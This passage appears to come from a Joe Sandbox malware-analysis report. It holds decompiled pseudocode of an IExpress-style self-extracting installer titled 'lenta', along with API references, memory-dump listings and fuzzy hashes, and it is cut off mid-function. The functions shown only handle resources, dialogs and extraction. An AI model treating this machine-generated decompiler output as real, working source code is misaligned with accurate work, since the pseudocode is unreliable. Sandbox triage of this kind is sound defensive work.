									if( *0x11d91e4 != 0x5c) {
										L30:
										_t30 = E011D597D(0x11d91e4, 1, _t64, 1);
										__eflags = _t30;
										if(_t30 == 0) {
											L35:
											_t42 = 1;
											__eflags = 1;
											goto L36;
										}
										L31:
										_t42 = 1;
										EndDialog(_t64, 1);
										goto L36;
									}
									__eflags =  *0x11d91e5 - 0x5c;
									if( *0x11d91e5 == 0x5c) {
										goto L31;
									}
									goto L30;
								}
								_push(0);
								_push(0x10);
								_push(0);
								_push(0);
								_t58 = 0x4be;
								goto L25;
							}
							_t32 = E011D44B9(_t64, 0x54a, 0x11d91e4, 0, 0x20, 4);
							__eflags = _t32 - 6;
							if(_t32 != 6) {
								goto L35;
							}
							_t33 = CreateDirectoryA(0x11d91e4, 0);
							__eflags = _t33;
							if(_t33 != 0) {
								goto L26;
							}
							_push(0);
							_push(0x10);
							_push(0);
							_push(0x11d91e4);
							_t58 = 0x4cb;
							goto L25;
						}
						__eflags =  *0x11d91e4 - 0x5c;
						if( *0x11d91e4 != 0x5c) {
							goto L32;
						}
						__eflags = _t24 - 0x5c;
						if(_t24 != 0x5c) {
							goto L32;
						}
						goto L21;
					}
					_t34 = _t20 - 1;
					__eflags = _t34;
					if(_t34 == 0) {
						EndDialog(_t64, 0);
						 *0x11d9124 = 0x800704c7;
						goto L39;
					}
					__eflags = _t34 != 0x834;
					if(_t34 != 0x834) {
						goto L36;
					}
					_t37 = LoadStringA( *0x11d9a3c, 0x3e8, 0x11d8598, 0x200);
					__eflags = _t37;
					if(_t37 != 0) {
						_t38 = E011D4224(_t64, _t46, _t46);
						__eflags = _t38;
						if(_t38 == 0) {
							goto L36;
						}
						_t39 = SetDlgItemTextA(_t64, 0x835, 0x11d87a0);
						__eflags = _t39;
						if(_t39 != 0) {
							goto L36;
						}
						_t63 = 0x4c0;
						L9:
						E011D44B9(_t64, _t63, 0, 0, 0x10, 0);
						_push(0);
						goto L38;
					}
					_t63 = 0x4b1;
					goto L9;
				}
				return 0;
			}

0x011d321b
0x011d321e
0x011d3221
0x011d343c
0x011d343e
0x011d343f
0x011d3445
0x011d3447
0x00000000
0x011d3447
0x011d3229
0x011d322a
0x011d322f
0x011d33ec
0x011d33f7
0x011d3410
0x011d3416
0x011d341d
0x011d342d
0x011d342d
0x011d3438
0x00000000
0x011d3438
0x011d3237
0x011d3243
0x011d3243
0x011d3246
0x011d32ee
0x011d32f4
0x011d32f6
0x011d33d4
0x011d33d6
0x011d33db
0x011d33dc
0x011d33de
0x011d33df
0x011d3370
0x011d3372
0x00000000
0x011d3372
0x011d32fc
0x011d3301
0x011d3301
0x011d3303
0x011d3304
0x011d3304
0x011d330a
0x011d330d
0x00000000
0x00000000
0x011d3313
0x011d3318
0x011d331a
0x011d3331
0x011d3332
0x011d333a
0x011d333d
0x011d337c
0x011d3388
0x011d338f
0x011d3394
0x011d3396
0x011d33a4
0x011d33ab
0x011d33b6
0x011d33be
0x011d33c3
0x011d33c5
0x011d3435
0x011d3437
0x011d3437
0x00000000
0x011d3437
0x011d33c7
0x011d33c9
0x011d33cc
0x00000000
0x011d33cc
0x011d33ad
0x011d33b4
0x00000000
0x00000000
0x00000000
0x011d33b4
0x011d3398
0x011d3399
0x011d339b
0x011d339c
0x011d339d
0x00000000
0x011d339d
0x011d334c
0x011d3351
0x011d3354
0x00000000
0x00000000
0x011d335c
0x011d3362
0x011d3364
0x00000000
0x00000000
0x011d3366
0x011d3367
0x011d3369
0x011d336a
0x011d336b
0x00000000
0x011d336b
0x011d331c
0x011d3323
0x00000000
0x00000000
0x011d3329
0x011d332b
0x00000000
0x00000000
0x00000000
0x011d332b
0x011d324c
0x011d324c
0x011d324f
0x011d32c8
0x011d32ce
0x00000000
0x011d32ce
0x011d3251
0x011d3256
0x00000000
0x00000000
0x011d3271
0x011d3277
0x011d3279
0x011d3298
0x011d329d
0x011d329f
0x00000000
0x00000000
0x011d32b0
0x011d32b6
0x011d32b8
0x00000000
0x00000000
0x011d32be
0x011d3280
0x011d3289
0x011d328e
0x00000000
0x011d328e
0x011d327b
0x00000000
0x011d327b
0x00000000

APIs

LoadStringA.USER32(000003E8,011D8598,00000200), ref: 011D3271
GetDesktopWindow.USER32 ref: 011D33E2
SetWindowTextA.USER32(?,lenta), ref: 011D33F7
SendDlgItemMessageA.USER32(?,00000835,000000C5,00000103,00000000), ref: 011D3410
GetDlgItem.USER32(?,00000836), ref: 011D3426
EnableWindow.USER32(00000000), ref: 011D342D
EndDialog.USER32(?,00000000), ref: 011D343F

Strings

lenta, xrefs: 011D33F1
C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 011D32E2, 011D32E7, 011D3331, 011D3344, 011D335B, 011D336A

Memory Dump Source

Source File: 00000000.00000002.403676389.00000000011D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 011D0000, based on PE: true

Associated: 00000000.00000002.403646115.00000000011D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403686161.00000000011D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_11d0000_file.jbxd

Similarity

API ID: Window$Item$DesktopDialogEnableLoadMessageSendStringText
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\$lenta
API String ID: 2418873061-406680565
Opcode ID: 263c51c6c417ba7b9ff090e3c079833ea996e11d0655c859d879d452511def96
Instruction ID: 1a96b866bd6e13f793ac599e087216de900bb45378162114c21b08e29099e008
Opcode Fuzzy Hash: 263c51c6c417ba7b9ff090e3c079833ea996e11d0655c859d879d452511def96
Instruction Fuzzy Hash: 3B5127B039725176EB3E5A796C8CF7B2E59BF46B58F004038F265965C5CFA88441C363

Uniqueness

Uniqueness Score: -1.00%

Function 011D2CAA Relevance: 26.4, APIs: 10, Strings: 5, Instructions: 183
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E011D2CAA(struct HINSTANCE__* __ecx, void* __edx, void* __eflags) {
				signed int _v8;
				char _v268;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t13;
				void* _t20;
				void* _t23;
				void* _t27;
				struct HRSRC__* _t31;
				intOrPtr _t33;
				void* _t43;
				void* _t48;
				signed int _t65;
				struct HINSTANCE__* _t66;
				signed int _t67;

				_t13 =  *0x11d8004; // 0xdc3102d5
				_v8 = _t13 ^ _t67;
				_t65 = 0;
				_t66 = __ecx;
				_t48 = __edx;
				 *0x11d9a3c = __ecx;
				memset(0x11d9140, 0, 0x8fc);
				memset(0x11d8a20, 0, 0x32c);
				memset(0x11d88c0, 0, 0x104);
				 *0x11d93ec = 1;
				_t20 = E011D468F("TITLE", 0x11d9154, 0x7f);
				if(_t20 == 0 || _t20 > 0x80) {
					_t64 = 0x4b1;
					goto L32;
				} else {
					_t27 = CreateEventA(0, 1, 1, 0);
					 *0x11d858c = _t27;
					SetEvent(_t27);
					_t64 = 0x11d9a34;
					if(E011D468F("EXTRACTOPT", 0x11d9a34, 4) != 0) {
						if(( *0x11d9a34 & 0x000000c0) == 0) {
							L12:
							 *0x11d9120 =  *0x11d9120 & _t65;
							if(E011D5C9E(_t48, _t48, _t65, _t66) != 0) {
								if( *0x11d8a3a == 0) {
									_t31 = FindResourceA(_t66, "VERCHECK", 0xa);
									if(_t31 != 0) {
										_t65 = LoadResource(_t66, _t31);
									}
									if( *0x11d8184 != 0) {
										__imp__#17();
									}
									if( *0x11d8a24 == 0) {
										_t57 = _t65;
										if(E011D36EE(_t65) == 0) {
											goto L33;
										} else {
											_t33 =  *0x11d9a40; // 0x3
											_t48 = 1;
											if(_t33 == 1 || _t33 == 2 || _t33 == 3) {
												if(( *0x11d9a34 & 0x00000100) == 0 || ( *0x11d8a38 & 0x00000001) != 0 || E011D18A3(_t64, _t66) != 0) {
													goto L30;
												} else {
													_t64 = 0x7d6;
													if(E011D6517(_t57, 0x7d6, _t34, E011D19E0, 0x547, 0x83e) != 0x83d) {
														goto L33;
													} else {
														goto L30;
													}
												}
											} else {
												L30:
												_t23 = _t48;
											}
										}
									} else {
										_t23 = 1;
									}
								} else {
									E011D2390(0x11d8a3a);
									goto L33;
								}
							} else {
								_t64 = 0x520;
								L32:
								E011D44B9(0, _t64, 0, 0, 0x10, 0);
								goto L33;
							}
						} else {
							_t64 =  &_v268;
							if(E011D468F("INSTANCECHECK",  &_v268, 0x104) == 0) {
								goto L3;
							} else {
								_t43 = CreateMutexA(0, 1,  &_v268);
								 *0x11d8588 = _t43;
								if(_t43 == 0 || GetLastError() != 0xb7) {
									goto L12;
								} else {
									if(( *0x11d9a34 & 0x00000080) == 0) {
										_t64 = 0x524;
										if(E011D44B9(0, 0x524, ?str?, 0, 0x20, 4) == 6) {
											goto L12;
										} else {
											goto L11;
										}
									} else {
										_t64 = 0x54b;
										E011D44B9(0, 0x54b, "lenta", 0, 0x10, 0);
										L11:
										CloseHandle( *0x11d8588);
										 *0x11d9124 = 0x800700b7;
										goto L33;
									}
								}
							}
						}
					} else {
						L3:
						_t64 = 0x4b1;
						E011D44B9(0, 0x4b1, 0, 0, 0x10, 0);
						 *0x11d9124 = 0x80070714;
						L33:
						_t23 = 0;
					}
				}
				return E011D6CE0(_t23, _t48, _v8 ^ _t67, _t64, _t65, _t66);
			}

0x011d2cb5
0x011d2cbc
0x011d2cc7
0x011d2cc9
0x011d2cd1
0x011d2cd3
0x011d2cd9
0x011d2ce9
0x011d2cf9
0x011d2d0e
0x011d2d15
0x011d2d1c
0x011d2ef3
0x00000000
0x011d2d2d
0x011d2d34
0x011d2d3b
0x011d2d40
0x011d2d48
0x011d2d59
0x011d2d84
0x011d2e1f
0x011d2e1f
0x011d2e2e
0x011d2e41
0x011d2e5a
0x011d2e62
0x011d2e6c
0x011d2e6c
0x011d2e75
0x011d2e77
0x011d2e77
0x011d2e84
0x011d2e8b
0x011d2e94
0x00000000
0x011d2e96
0x011d2e96
0x011d2e9e
0x011d2ea2
0x011d2eba
0x00000000
0x011d2ece
0x011d2ede
0x011d2eed
0x00000000
0x00000000
0x00000000
0x00000000
0x011d2eed
0x011d2eef
0x011d2eef
0x011d2eef
0x011d2eef
0x011d2ea2
0x011d2e86
0x011d2e88
0x011d2e88
0x011d2e43
0x011d2e48
0x00000000
0x011d2e48
0x011d2e30
0x011d2e30
0x011d2ef8
0x011d2f01
0x00000000
0x011d2f01
0x011d2d8a
0x011d2d8f
0x011d2da1
0x00000000
0x011d2da3
0x011d2dae
0x011d2db4
0x011d2dbb
0x00000000
0x011d2dca
0x011d2dd3
0x011d2df5
0x011d2e02
0x00000000
0x00000000
0x00000000
0x00000000
0x011d2dd5
0x011d2dde
0x011d2de3
0x011d2e04
0x011d2e0a
0x011d2e10
0x00000000
0x011d2e10
0x011d2dd3
0x011d2dbb
0x011d2da1
0x011d2d5b
0x011d2d5b
0x011d2d5d
0x011d2d69
0x011d2d6e
0x011d2f06
0x011d2f06
0x011d2f06
0x011d2d59
0x011d2f18

APIs

memset.MSVCRT ref: 011D2CD9
memset.MSVCRT ref: 011D2CE9
memset.MSVCRT ref: 011D2CF9

Part of subcall function 011D468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 011D46A0
Part of subcall function 011D468F: SizeofResource.KERNEL32(00000000,00000000,?,011D2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 011D46A9
Part of subcall function 011D468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 011D46C3
Part of subcall function 011D468F: LoadResource.KERNEL32(00000000,00000000,?,011D2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 011D46CC
Part of subcall function 011D468F: LockResource.KERNEL32(00000000,?,011D2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 011D46D3
Part of subcall function 011D468F: memcpy_s.MSVCRT ref: 011D46E5
Part of subcall function 011D468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 011D46EF

CreateEventA.KERNEL32(00000000,00000001,00000001,00000000,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 011D2D34
SetEvent.KERNEL32(00000000,?,?,?,?,?,?,?,00000002,00000000), ref: 011D2D40
CreateMutexA.KERNEL32(00000000,00000001,?,00000104,00000004,?,?,?,?,?,?,?,00000002,00000000), ref: 011D2DAE
GetLastError.KERNEL32(?,?,?,?,?,?,?,00000002,00000000), ref: 011D2DBD
CloseHandle.KERNEL32(lenta,00000000,00000020,00000004,?,?,?,?,?,?,?,00000002,00000000), ref: 011D2E0A

Part of subcall function 011D44B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 011D4518
Part of subcall function 011D44B9: MessageBoxA.USER32(?,?,lenta,00010010), ref: 011D4554

Strings

VERCHECK, xrefs: 011D2E54
TITLE, xrefs: 011D2D09
EXTRACTOPT, xrefs: 011D2D4D
INSTANCECHECK, xrefs: 011D2D95
lenta, xrefs: 011D2D04, 011D2DD9, 011D2DF0

Memory Dump Source

Source File: 00000000.00000002.403676389.00000000011D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 011D0000, based on PE: true

Associated: 00000000.00000002.403646115.00000000011D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403686161.00000000011D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_11d0000_file.jbxd

Similarity

API ID: Resource$memset$CreateEventFindLoad$CloseErrorFreeHandleLastLockMessageMutexSizeofStringmemcpy_s
String ID: EXTRACTOPT$INSTANCECHECK$TITLE$VERCHECK$lenta
API String ID: 1002816675-2993962200
Opcode ID: 763c5419a26a31c3793e5426fb41e8b584b93378b70135b5d779d6c8a9b3c450
Instruction ID: 919b222afe4421e85f969451abf0c506e1660a75f83e33b3caa798e0c1207a3f
Opcode Fuzzy Hash: 763c5419a26a31c3793e5426fb41e8b584b93378b70135b5d779d6c8a9b3c450
Instruction Fuzzy Hash: 36514B703423266BF73CA679DD4AB7B3698EB45708F044039EA71D65C8DBB888C1C722

Uniqueness

Uniqueness Score: -1.00%

Function 011D34F0 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 119
threadwindowCOMMON

Download Yara Rule

C-Code - Quality: 81%

			E011D34F0(struct HWND__* _a4, intOrPtr _a8, int _a12) {
				void* _t9;
				void* _t12;
				void* _t13;
				void* _t17;
				void* _t23;
				void* _t25;
				struct HWND__* _t35;
				struct HWND__* _t38;
				void* _t39;

				_t9 = _a8 - 0x10;
				if(_t9 == 0) {
					__eflags = 1;
					L19:
					_push(0);
					 *0x11d91d8 = 1;
					L20:
					_push(_a4);
					L21:
					EndDialog();
					L22:
					return 1;
				}
				_push(1);
				_pop(1);
				_t12 = _t9 - 0xf2;
				if(_t12 == 0) {
					__eflags = _a12 - 0x1b;
					if(_a12 != 0x1b) {
						goto L22;
					}
					goto L19;
				}
				_t13 = _t12 - 0xe;
				if(_t13 == 0) {
					_t35 = _a4;
					 *0x11d8584 = _t35;
					E011D43D0(_t35, GetDesktopWindow());
					__eflags =  *0x11d8184; // 0x1
					if(__eflags != 0) {
						SendMessageA(GetDlgItem(_t35, 0x83b), 0x464, 0, 0xbb9);
						SendMessageA(GetDlgItem(_t35, 0x83b), 0x465, 0xffffffff, 0xffff0000);
					}
					SetWindowTextA(_t35, "lenta");
					_t17 = CreateThread(0, 0, E011D4FE0, 0, 0, 0x11d8798);
					 *0x11d879c = _t17;
					__eflags = _t17;
					if(_t17 != 0) {
						goto L22;
					} else {
						E011D44B9(_t35, 0x4b8, 0, 0, 0x10, 0);
						_push(0);
						_push(_t35);
						goto L21;
					}
				}
				_t23 = _t13 - 1;
				if(_t23 == 0) {
					__eflags = _a12 - 2;
					if(_a12 != 2) {
						goto L22;
					}
					ResetEvent( *0x11d858c);
					_t38 =  *0x11d8584; // 0x0
					_t25 = E011D44B9(_t38, 0x4b2, 0x11d1140, 0, 0x20, 4);
					__eflags = _t25 - 6;
					if(_t25 == 6) {
						L11:
						 *0x11d91d8 = 1;
						SetEvent( *0x11d858c);
						_t39 =  *0x11d879c; // 0x0
						E011D3680(_t39);
						_push(0);
						goto L20;
					}
					__eflags = _t25 - 1;
					if(_t25 == 1) {
						goto L11;
					}
					SetEvent( *0x11d858c);
					goto L22;
				}
				if(_t23 == 0xe90) {
					TerminateThread( *0x11d879c, 0);
					EndDialog(_a4, _a12);
					return 1;
				}
				return 0;
			}

0x011d34fb
0x011d34fe
0x011d3665
0x011d3666
0x011d3666
0x011d3668
0x011d366e
0x011d366e
0x011d3671
0x011d3671
0x011d3677
0x00000000
0x011d3677
0x011d3504
0x011d3506
0x011d3507
0x011d350c
0x011d365b
0x011d365f
0x00000000
0x00000000
0x00000000
0x011d3661
0x011d3512
0x011d3515
0x011d35be
0x011d35c1
0x011d35d1
0x011d35d8
0x011d35de
0x011d35f8
0x011d3617
0x011d3617
0x011d3623
0x011d3637
0x011d363d
0x011d3642
0x011d3644
0x00000000
0x011d3646
0x011d3652
0x011d3657
0x011d3658
0x00000000
0x011d3658
0x011d3644
0x011d351b
0x011d351d
0x011d354f
0x011d3553
0x00000000
0x00000000
0x011d355f
0x011d3565
0x011d357c
0x011d3581
0x011d3584
0x011d359b
0x011d35a1
0x011d35a7
0x011d35ad
0x011d35b3
0x011d35b8
0x00000000
0x011d35b8
0x011d3586
0x011d3588
0x00000000
0x00000000
0x011d3590
0x00000000
0x011d3590
0x011d3524
0x011d3535
0x011d3541
0x00000000
0x011d3549
0x00000000

APIs

TerminateThread.KERNEL32(00000000), ref: 011D3535
EndDialog.USER32(?,?), ref: 011D3541
ResetEvent.KERNEL32 ref: 011D355F
SetEvent.KERNEL32(011D1140,00000000,00000020,00000004), ref: 011D3590
GetDesktopWindow.USER32 ref: 011D35C7
GetDlgItem.USER32(?,0000083B), ref: 011D35F1
SendMessageA.USER32(00000000), ref: 011D35F8
GetDlgItem.USER32(?,0000083B), ref: 011D3610
SendMessageA.USER32(00000000), ref: 011D3617
SetWindowTextA.USER32(?,lenta), ref: 011D3623
CreateThread.KERNEL32 ref: 011D3637
EndDialog.USER32(?,00000000), ref: 011D3671

Strings

lenta, xrefs: 011D361D

Memory Dump Source

Source File: 00000000.00000002.403676389.00000000011D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 011D0000, based on PE: true

Associated: 00000000.00000002.403646115.00000000011D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403686161.00000000011D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_11d0000_file.jbxd

Similarity

API ID: DialogEventItemMessageSendThreadWindow$CreateDesktopResetTerminateText
String ID: lenta
API String ID: 2406144884-2780258678
Opcode ID: be46e9d7f2010aae31fbc29aa6b9e025b5c7081866153d2f275fa69abc59e678
Instruction ID: 95fbddd2100d177d16b56088f4ed7f10f27dfab740def00808956f00f8458985
Opcode Fuzzy Hash: be46e9d7f2010aae31fbc29aa6b9e025b5c7081866153d2f275fa69abc59e678
Instruction Fuzzy Hash: E931C0B0253211BBDB3D5B39EC4CE2A3E69FB85B40F444539F63292698CB758580CB56

Uniqueness

Uniqueness Score: -1.00%

Function 011D4224 Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 132
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 50%

			E011D4224(char __ecx) {
				char* _v8;
				_Unknown_base(*)()* _v12;
				_Unknown_base(*)()* _v16;
				_Unknown_base(*)()* _v20;
				char* _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				char _v44;
				char _v48;
				char _v52;
				_Unknown_base(*)()* _t26;
				_Unknown_base(*)()* _t28;
				_Unknown_base(*)()* _t29;
				_Unknown_base(*)()* _t32;
				char _t42;
				char* _t44;
				char* _t61;
				void* _t63;
				char* _t65;
				struct HINSTANCE__* _t66;
				char _t67;
				void* _t71;
				char _t76;
				intOrPtr _t85;

				_t67 = __ecx;
				_t66 = LoadLibraryA("SHELL32.DLL");
				if(_t66 == 0) {
					_t63 = 0x4c2;
					L22:
					E011D44B9(_t67, _t63, 0, 0, 0x10, 0);
					return 0;
				}
				_t26 = GetProcAddress(_t66, "SHBrowseForFolder");
				_v12 = _t26;
				if(_t26 == 0) {
					L20:
					FreeLibrary(_t66);
					_t63 = 0x4c1;
					goto L22;
				}
				_t28 = GetProcAddress(_t66, 0xc3);
				_v20 = _t28;
				if(_t28 == 0) {
					goto L20;
				}
				_t29 = GetProcAddress(_t66, "SHGetPathFromIDList");
				_v16 = _t29;
				if(_t29 == 0) {
					goto L20;
				}
				_t76 =  *0x11d88c0; // 0x0
				if(_t76 != 0) {
					L10:
					 *0x11d87a0 = 0;
					_v52 = _t67;
					_v48 = 0;
					_v44 = 0;
					_v40 = 0x11d8598;
					_v36 = 1;
					_v32 = E011D4200;
					_v28 = 0x11d88c0;
					 *0x11da288( &_v52);
					_t32 =  *_v12();
					if(_t71 != _t71) {
						asm("int 0x29");
					}
					_v12 = _t32;
					if(_t32 != 0) {
						 *0x11da288(_t32, 0x11d88c0);
						 *_v16();
						if(_t71 != _t71) {
							asm("int 0x29");
						}
						if( *0x11d88c0 != 0) {
							E011D1680(0x11d87a0, 0x104, 0x11d88c0);
						}
						 *0x11da288(_v12);
						 *_v20();
						if(_t71 != _t71) {
							asm("int 0x29");
						}
					}
					FreeLibrary(_t66);
					_t85 =  *0x11d87a0; // 0x0
					return 0 | _t85 != 0x00000000;
				} else {
					GetTempPathA(0x104, 0x11d88c0);
					_t61 = 0x11d88c0;
					_t4 =  &(_t61[1]); // 0x11d88c1
					_t65 = _t4;
					do {
						_t42 =  *_t61;
						_t61 =  &(_t61[1]);
					} while (_t42 != 0);
					_t5 = _t61 - _t65 + 0x11d88c0; // 0x23b1181
					_t44 = CharPrevA(0x11d88c0, _t5);
					_v8 = _t44;
					if( *_t44 == 0x5c &&  *(CharPrevA(0x11d88c0, _t44)) != 0x3a) {
						 *_v8 = 0;
					}
					goto L10;
				}
			}

0x011d4234
0x011d423c
0x011d4240
0x011d43b2
0x011d43b7
0x011d43c0
0x00000000
0x011d43c5
0x011d424c
0x011d4252
0x011d4257
0x011d43a4
0x011d43a5
0x011d43ab
0x00000000
0x011d43ab
0x011d4263
0x011d4269
0x011d426e
0x00000000
0x00000000
0x011d427a
0x011d4280
0x011d4285
0x00000000
0x00000000
0x011d428d
0x011d4293
0x011d42e6
0x011d42e9
0x011d42ef
0x011d42f4
0x011d42f7
0x011d4300
0x011d4307
0x011d430e
0x011d4315
0x011d431c
0x011d4322
0x011d4326
0x011d432d
0x011d432d
0x011d432f
0x011d4334
0x011d4343
0x011d4349
0x011d434d
0x011d4354
0x011d4354
0x011d435d
0x011d436e
0x011d436e
0x011d437d
0x011d4383
0x011d4387
0x011d438e
0x011d438e
0x011d4387
0x011d4391
0x011d4399
0x00000000
0x011d4295
0x011d429f
0x011d42a5
0x011d42aa
0x011d42aa
0x011d42ad
0x011d42ad
0x011d42af
0x011d42b0
0x011d42b6
0x011d42c2
0x011d42c8
0x011d42ce
0x011d42e4
0x011d42e4
0x00000000
0x011d42ce

APIs

LoadLibraryA.KERNEL32(SHELL32.DLL,?,?,00000001), ref: 011D4236
GetProcAddress.KERNEL32(00000000,SHBrowseForFolder), ref: 011D424C
GetProcAddress.KERNEL32(00000000,000000C3), ref: 011D4263
GetProcAddress.KERNEL32(00000000,SHGetPathFromIDList), ref: 011D427A
GetTempPathA.KERNEL32(00000104,011D88C0,?,00000001), ref: 011D429F
CharPrevA.USER32(011D88C0,023B1181,?,00000001), ref: 011D42C2
CharPrevA.USER32(011D88C0,00000000,?,00000001), ref: 011D42D6
FreeLibrary.KERNEL32(00000000,?,00000001), ref: 011D4391
FreeLibrary.KERNEL32(00000000,?,00000001), ref: 011D43A5

Strings

SHELL32.DLL, xrefs: 011D422F
SHBrowseForFolder, xrefs: 011D4246
SHGetPathFromIDList, xrefs: 011D4274

Memory Dump Source

Source File: 00000000.00000002.403676389.00000000011D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 011D0000, based on PE: true

Associated: 00000000.00000002.403646115.00000000011D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403686161.00000000011D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_11d0000_file.jbxd

Similarity

API ID: AddressLibraryProc$CharFreePrev$LoadPathTemp
String ID: SHBrowseForFolder$SHELL32.DLL$SHGetPathFromIDList
API String ID: 1865808269-1731843650
Opcode ID: cf741efafa220a20f0bfd6ff849449ed6f48c3a4c82677cabff2775194c15b7b
Instruction ID: a4cc3069a3efe46106ba29fb51848a40e85b8db05d7a603b48b2b48096cf00a3
Opcode Fuzzy Hash: cf741efafa220a20f0bfd6ff849449ed6f48c3a4c82677cabff2775194c15b7b
Instruction Fuzzy Hash: 23412874A02254BFE72DAF79F885A6E7FB4EF45344F044179EA51A3A45CB348841C760

Uniqueness

Uniqueness Score: -1.00%

Function 011D44B9 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 160
memorywindowCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E011D44B9(struct HWND__* __ecx, int __edx, intOrPtr* _a4, void* _a8, int _a12, signed int _a16) {
				signed int _v8;
				char _v64;
				char _v576;
				void* _v580;
				struct HWND__* _v584;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t34;
				void* _t37;
				signed int _t39;
				intOrPtr _t43;
				signed int _t44;
				signed int _t49;
				signed int _t52;
				void* _t54;
				intOrPtr _t55;
				intOrPtr _t58;
				intOrPtr _t59;
				int _t64;
				void* _t66;
				intOrPtr* _t67;
				signed int _t69;
				intOrPtr* _t73;
				intOrPtr* _t76;
				intOrPtr* _t77;
				void* _t80;
				void* _t81;
				void* _t82;
				intOrPtr* _t84;
				void* _t85;
				signed int _t89;

				_t75 = __edx;
				_t34 =  *0x11d8004; // 0xdc3102d5
				_v8 = _t34 ^ _t89;
				_v584 = __ecx;
				_t83 = "LoadString() Error.  Could not load string resource.";
				_t67 = _a4;
				_t69 = 0xd;
				_t37 = memcpy( &_v64, _t83, _t69 << 2);
				_t80 = _t83 + _t69 + _t69;
				_v580 = _t37;
				asm("movsb");
				if(( *0x11d8a38 & 0x00000001) != 0) {
					_t39 = 1;
				} else {
					_v576 = 0;
					LoadStringA( *0x11d9a3c, _t75,  &_v576, 0x200);
					if(_v576 != 0) {
						_t73 =  &_v576;
						_t16 = _t73 + 1; // 0x1
						_t75 = _t16;
						do {
							_t43 =  *_t73;
							_t73 = _t73 + 1;
						} while (_t43 != 0);
						_t84 = _v580;
						_t74 = _t73 - _t75;
						if(_t84 == 0) {
							if(_t67 == 0) {
								_t27 = _t74 + 1; // 0x2
								_t83 = _t27;
								_t44 = LocalAlloc(0x40, _t83);
								_t80 = _t44;
								if(_t80 == 0) {
									goto L6;
								} else {
									_t75 = _t83;
									_t74 = _t80;
									E011D1680(_t80, _t83,  &_v576);
									goto L23;
								}
							} else {
								_t76 = _t67;
								_t24 = _t76 + 1; // 0x1
								_t85 = _t24;
								do {
									_t55 =  *_t76;
									_t76 = _t76 + 1;
								} while (_t55 != 0);
								_t25 = _t76 - _t85 + 0x64; // 0x65
								_t83 = _t25 + _t74;
								_t44 = LocalAlloc(0x40, _t25 + _t74);
								_t80 = _t44;
								if(_t80 == 0) {
									goto L6;
								} else {
									E011D171E(_t80, _t83,  &_v576, _t67);
									goto L23;
								}
							}
						} else {
							_t77 = _t67;
							_t18 = _t77 + 1; // 0x1
							_t81 = _t18;
							do {
								_t58 =  *_t77;
								_t77 = _t77 + 1;
							} while (_t58 != 0);
							_t75 = _t77 - _t81;
							_t82 = _t84 + 1;
							do {
								_t59 =  *_t84;
								_t84 = _t84 + 1;
							} while (_t59 != 0);
							_t21 = _t74 + 0x64; // 0x65
							_t83 = _t21 + _t84 - _t82 + _t75;
							_t44 = LocalAlloc(0x40, _t21 + _t84 - _t82 + _t75);
							_t80 = _t44;
							if(_t80 == 0) {
								goto L6;
							} else {
								_push(_v580);
								E011D171E(_t80, _t83,  &_v576, _t67);
								L23:
								MessageBeep(_a12);
								if(E011D681F(_t67) == 0) {
									L25:
									_t49 = 0x10000;
								} else {
									_t54 = E011D67C9(_t74, _t74);
									_t49 = 0x190000;
									if(_t54 == 0) {
										goto L25;
									}
								}
								_t52 = MessageBoxA(_v584, _t80, "lenta", _t49 | _a12 | _a16);
								_t83 = _t52;
								LocalFree(_t80);
								_t39 = _t52;
							}
						}
					} else {
						if(E011D681F(_t67) == 0) {
							L4:
							_t64 = 0x10010;
						} else {
							_t66 = E011D67C9(0, 0);
							_t64 = 0x190010;
							if(_t66 == 0) {
								goto L4;
							}
						}
						_t44 = MessageBoxA(_v584,  &_v64, "lenta", _t64);
						L6:
						_t39 = _t44 | 0xffffffff;
					}
				}
